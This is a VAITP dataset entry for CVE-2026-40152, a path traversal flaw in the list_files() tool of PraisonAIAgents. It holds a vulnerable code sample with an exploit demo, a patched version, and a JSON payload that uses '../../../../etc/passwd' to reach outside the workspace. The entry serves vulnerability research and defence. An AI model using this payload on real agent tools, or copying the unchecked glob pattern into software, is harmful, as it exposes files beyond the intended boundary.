VAITP Dataset

← Back to the dataset

CVE-2026-40152

Path traversal in list_files() allows arbitrary file enumeration.

  • CVSS 5.3
  • CWE-22
  • Input Validation and Sanitization
  • Remote

PraisonAIAgents is a multi-agent teams system. Prior to 1.5.128, he list_files() tool in FileTools validates the directory parameter against workspace boundaries via _validate_path(), but passes the pattern parameter directly to Path.glob() without any validation. Since Python's Path.glob() supports .. path segments, an attacker can use relative path traversal in the glob pattern to enumerate arbitrary files outside the workspace, obtaining file metadata (existence, name, size, timestamps) for any path on the filesystem. This vulnerability is fixed in 1.5.128.

CVSS base score
5.3
Published
2026-04-09
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
PraisonAIAge
Fixed by upgrading
Yes

Solution

Upgrade to PraisonAIAgents version 1.5.128 or later.

Vulnerable code sample

import os
from pathlib import Path
import tempfile
import time

# This code represents the vulnerable state of FileTools prior to version 1.5.128
# as described in the CVE. It is for educational and demonstration purposes only.

class FileTools:
    """
    A simplified representation of the FileTools class with the vulnerability.
    """
    def __init__(self, workspace_path: str):
        self.workspace = Path(workspace_path).resolve()
        if not self.workspace.exists():
            self.workspace.mkdir(parents=True, exist_ok=True)
        print(f"FileTools initialized with workspace: {self.workspace}")

    def _validate_path(self, path_to_validate: Path):
        """
        Validates that the given path is within the configured workspace.
        This check is correctly applied to the 'directory' parameter.
        """
        resolved_path = path_to_validate.resolve()
        if not resolved_path.is_relative_to(self.workspace):
            raise ValueError(f"Path '{path_to_validate}' is outside the allowed workspace.")
        return resolved_path

    def list_files(self, directory: str, pattern: str = "*"):
        """
        Vulnerable function to list files.

        It validates the 'directory' parameter but fails to validate the 'pattern'
        parameter, passing it directly to Path.glob(). This allows an attacker
        to use '..' in the pattern to traverse outside the workspace.
        """
        print(f"\n--- Calling list_files(directory='{directory}', pattern='{pattern}') ---")
        try:
            # The 'directory' is combined with the workspace and validated.
            # This provides a false sense of security.
            base_dir = self.workspace / directory
            self._validate_path(base_dir)
            print(f"[+] 'directory' parameter validated successfully. Base search path: {base_dir}")

            # THE VULNERABILITY: 'pattern' is not sanitized and is passed directly to glob().
            # An attacker can inject '..' to traverse the filesystem.
            print(f"[!] 'pattern' parameter is not validated. Passing '{pattern}' directly to glob.")
            glob_results = base_dir.glob(pattern)

            file_info_list = []
            for path in glob_results:
                if path.is_file():
                    stat = path.stat()
                    file_info_list.append({
                        "name": path.name,
                        "path": str(path.resolve()),
                        "size": stat.st_size,
                        "mtime": stat.st_mtime,
                    })
            
            print(f"[+] Found {len(file_info_list)} file(s).")
            return file_info_list

        except ValueError as e:
            print(f"[-] Operation blocked: {e}")
            return None


# --- Demonstration of the exploit ---
if __name__ == "__main__":
    with tempfile.TemporaryDirectory() as tmpdir:
        base_dir = Path(tmpdir)
        workspace_dir = base_dir / "agent_workspace"
        secret_dir = base_dir / "system_secrets"

        # Setup the environment
        workspace_dir.mkdir()
        secret_dir.mkdir()

        (workspace_dir / "public_plan.txt").write_text("This is a public file.")
        (secret_dir / "api_keys.conf").write_text("SECRET_KEY=ABC123XYZ789")

        print("="*60)
        print("      DEMONSTRATING CVE-2026-40152 VULNERABILITY")
        print("="*60)
        print(f"Temp Directory: {base_dir}")
        print(f"Workspace: {workspace_dir}")
        print(f"Secret Location: {secret_dir}")
        print("="*60)

        # Instantiate the vulnerable class
        tools = FileTools(workspace_path=str(workspace_dir))

        # 1. Legitimate use case: Listing files within the workspace.
        print("\n\n>>> 1. Legitimate Use Case")
        legitimate_files = tools.list_files(directory=".", pattern="*.txt")
        if legitimate_files:
            print("--- Results ---")
            for f in legitimate_files:
                print(f"  - Found safe file: {f['name']} (Path: {f['path']})")

        # 2. Blocked attack: Attempting path traversal via the 'directory' parameter.
        print("\n\n>>> 2. Blocked Attack Attempt (via 'directory' parameter)")
        tools.list_files(directory="../system_secrets", pattern="*")

        # 3. Successful exploit: Using path traversal in the 'pattern' parameter.
        print("\n\n>>> 3. SUCCESSFUL EXPLOIT (via 'pattern' parameter)")
        # The pattern traverses up from the workspace, then into the secrets directory.
        malicious_pattern = f"../{secret_dir.name}/*"
        leaked_files = tools.list_files(directory=".", pattern=malicious_pattern)
        
        if leaked_files:
            print("\n--- VULNERABILITY CONFIRMED ---")
            print("Leaked file metadata from outside the workspace:")
            for f in leaked_files:
                print(f"  - Leaked file: {f['name']}")
                print(f"    Path: {f['path']}")
                print(f"    Size: {f['size']} bytes")
                print(f"    Modified: {time.ctime(f['mtime'])}")
        else:
            print("\n--- Exploit did not find files ---")

Patched code sample

import os
from pathlib import Path

class FileTools:
    """
    A representative class to demonstrate the fix for CVE-2026-40152.

    The original vulnerability allowed an attacker to use path traversal sequences
    (e.g., '..') within the `pattern` parameter of the `list_files` method.
    This was because the `pattern` was passed directly to `Path.glob()` without
    prior validation, unlike the `directory` parameter.

    The fix involves adding a new validation step for the `pattern` to
    explicitly forbid path traversal elements.
    """

    def __init__(self, workspace: str = "workspace"):
        self.workspace = Path(workspace).resolve()
        # Ensure the workspace directory exists for demonstration purposes.
        self.workspace.mkdir(parents=True, exist_ok=True)

    def _validate_path(self, path: str) -> Path:
        """
        Validates that a given directory path is within the allowed workspace.
        This function was part of the original code and is kept for context.
        """
        # Resolve the combined path relative to the workspace.
        resolved_path = (self.workspace / path).resolve()

        # Check if the resolved path is within the workspace boundary.
        # A robust way is to check if the workspace path is a parent of the resolved path.
        if self.workspace not in resolved_path.parents and resolved_path != self.workspace:
             raise ValueError("Access denied: Path is outside the workspace.")

        return resolved_path

    # ---------- FIX STARTS HERE ----------

    def _validate_glob_pattern(self, pattern: str):
        """
        NEW helper method that contains the fix for CVE-2026-40152.
        It validates the glob pattern to prevent path traversal attacks.
        """
        # 1. Disallow absolute paths in the pattern, as they ignore the base directory.
        if Path(pattern).is_absolute():
            raise ValueError(
                "Access denied: Absolute paths are not allowed in patterns."
            )
        # 2. Disallow '..' in any component of the pattern path.
        #    This is the core of the traversal prevention.
        if ".." in Path(pattern).parts:
            raise ValueError(
                "Access denied: Path traversal ('..') is not allowed in patterns."
            )

    def list_files(self, directory: str, pattern: str = "*") -> str:
        """
        Lists files in a specified directory matching a glob pattern.

        This method is now secure against path traversal in the `pattern`
        parameter by invoking the `_validate_glob_pattern` helper method.
        """
        try:
            # FIX: The user-supplied `pattern` is validated *before* it is used.
            # This call will raise a ValueError if the pattern is malicious.
            self._validate_glob_pattern(pattern)

            # The original validation for the base directory remains.
            base_dir = self._validate_path(directory)

            if not base_dir.is_dir():
                return f"Error: Directory '{directory}' does not exist."

            # Now it is safe to use the pattern with glob, as traversal
            # and absolute paths have been blocked.
            files = list(base_dir.glob(pattern))

            if not files:
                return f"No files found in '{base_dir.relative_to(Path.cwd())}' matching '{pattern}'."

            file_details = [
                f"- {f.name} (Size: {f.stat().st_size} bytes)" for f in files if f.is_file()
            ]
            return (
                f"Files in '{base_dir.relative_to(Path.cwd())}' matching '{pattern}':\n"
                + "\n".join(file_details)
            )
        except ValueError as e:
            # This will catch validation errors from both _validate_path and the new _validate_glob_pattern.
            return f"Error: {e}"
        except Exception as e:
            return f"An unexpected error occurred: {e}"

    # ---------- FIX ENDS HERE ----------

Payload

{
  "tool_name": "list_files",
  "parameters": {
    "directory": ".",
    "pattern": "../../../../etc/passwd"
  }
}

Cite this entry

@misc{vaitp:cve202640152,
  title        = {{Path traversal in list_files() allows arbitrary file enumeration.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-40152},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40152/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::